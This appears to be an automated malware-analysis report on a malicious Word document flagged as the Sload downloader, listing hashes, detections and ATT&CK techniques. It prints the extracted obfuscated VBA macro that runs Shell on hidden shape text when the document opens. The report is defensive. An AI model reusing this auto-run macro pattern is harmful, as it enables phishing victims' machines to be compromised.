Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0f6f0e8787c53b7…

MALICIOUS

Office (OLE)

72.1 KB Created: 2018-11-07 16:31:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 88cfb59daf7ac57e89e9dd9935ea6253 SHA-1: 4f16d7b0318756ba10989c4689c16c3d984936b0 SHA-256: d0f6f0e8787c53b777da2fad4581055323da6d6aee07a9abd3d3ef9b648e7e98
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a PowerShell command. This PowerShell command decodes a Base64 string, decompresses it, and then executes it. The decoded payload is likely responsible for downloading and executing a second-stage payload, as indicated by the 'cmd.exe /C' invocation and the PowerShell execution. The presence of the 'Document_open' macro and the 'Shell' function strongly suggests this is a malicious document designed to execute arbitrary code upon opening.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 953 bytes
SHA-256: d9b6debccf44e7d1461294404dde9600381bf3ca8164b4110d55304e6b5c3281
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IVXQSkJuIlz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (qNKGA + oKrcN + obEwT + zuaTX + jZjQK + jETPqD + qGUaJ + mREItT)
   FormatDateTime jzfwWq + WblXAB * IBZkAj + EdURWl - iQnwj + zFoQU + aUfjC + vqIDj
   FormatDateTime LiVKhA + nrKwb + zwDNI + nGIZu - (Iautb + idoqSj + jTImcU + brvsFq)
   FormatNumber joCEbs + ZJuQc / zdIjT + YwiUjF
Const SVwNjcHjU = 936988130 - 936988130
Shell@ Shapes(iColGl + oNIlKtwr + 1 + RdOnMlHC + UWzSB).TextFrame.TextRange.Text + HGfViAdU + zNCjc, SVwNjcHjU
   Error rMCrq + iEovf + NpjCw + ljWidl / taJou + sBmap + DREBR + EzBFWN
   FormatDateTime (oqnrJ + RYwbUP + anQaOu + vZhiEo * (nQoEv + qjBNvR))
End Sub